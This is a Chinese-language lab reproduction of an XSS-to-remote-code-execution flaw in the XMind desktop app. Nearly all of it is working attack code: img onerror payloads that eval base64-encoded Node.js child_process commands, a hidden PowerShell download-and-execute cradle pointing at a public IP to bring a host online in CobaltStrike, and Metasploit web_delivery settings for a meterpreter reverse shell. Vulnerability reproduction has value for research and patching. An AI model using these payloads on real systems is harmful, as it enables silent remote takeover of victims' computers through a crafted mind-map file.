XMind XSS RCE 漏洞复现
1 漏洞介绍
Xmind 对输出的内容没有进行 XSS 过滤,所以会产生 XSS 漏洞,因为 Xmind 也启用了 node.js 功能,所以会导致命令执行。
2 环境搭建
3 漏洞复现
- 前期提要:
- 靶机:
Windows 10(XMind 202101070032)
- 攻击机:
Kali 2023.1
- 只需要按住
ctrl 靠近大纲字符最后就可以弹出:
1
| <img src=1 onerror=alert(1)>
|

1 2 3
| require('child_process').exec('whoami',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
|
1
| cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==
|
1
| <img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3dob2FtaScsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>
|

4 主机上线
4.1 CobaltStrike 上线

1
| powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://114.132.241.133:80/xmind'))"
|
注:由于命令在单引号内,而 powershell 命令中也有单引号,所以需要用 \ 进行转义。
1 2 3
| require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://114.132.241.133:80/xmind\'))"',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
|
1
| <img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzExNC4xMzIuMjQxLjEzMzo4MC94bWluZFwnKSkiJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>
|

1 2 3 4 5 6
| search web_de use 1 set target 2 set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.0.103 run
|
1
| http://192.168.0.103:8080/d2nmrgyYyAK7QhB
|
1 2 3
| require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.0.103:8080/d2nmrgyYyAK7QhB\'))"',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
|
1
| <img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMC4xMDM6ODA4MC9kMm5tcmd5WXlBSzdRaEJcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>
|
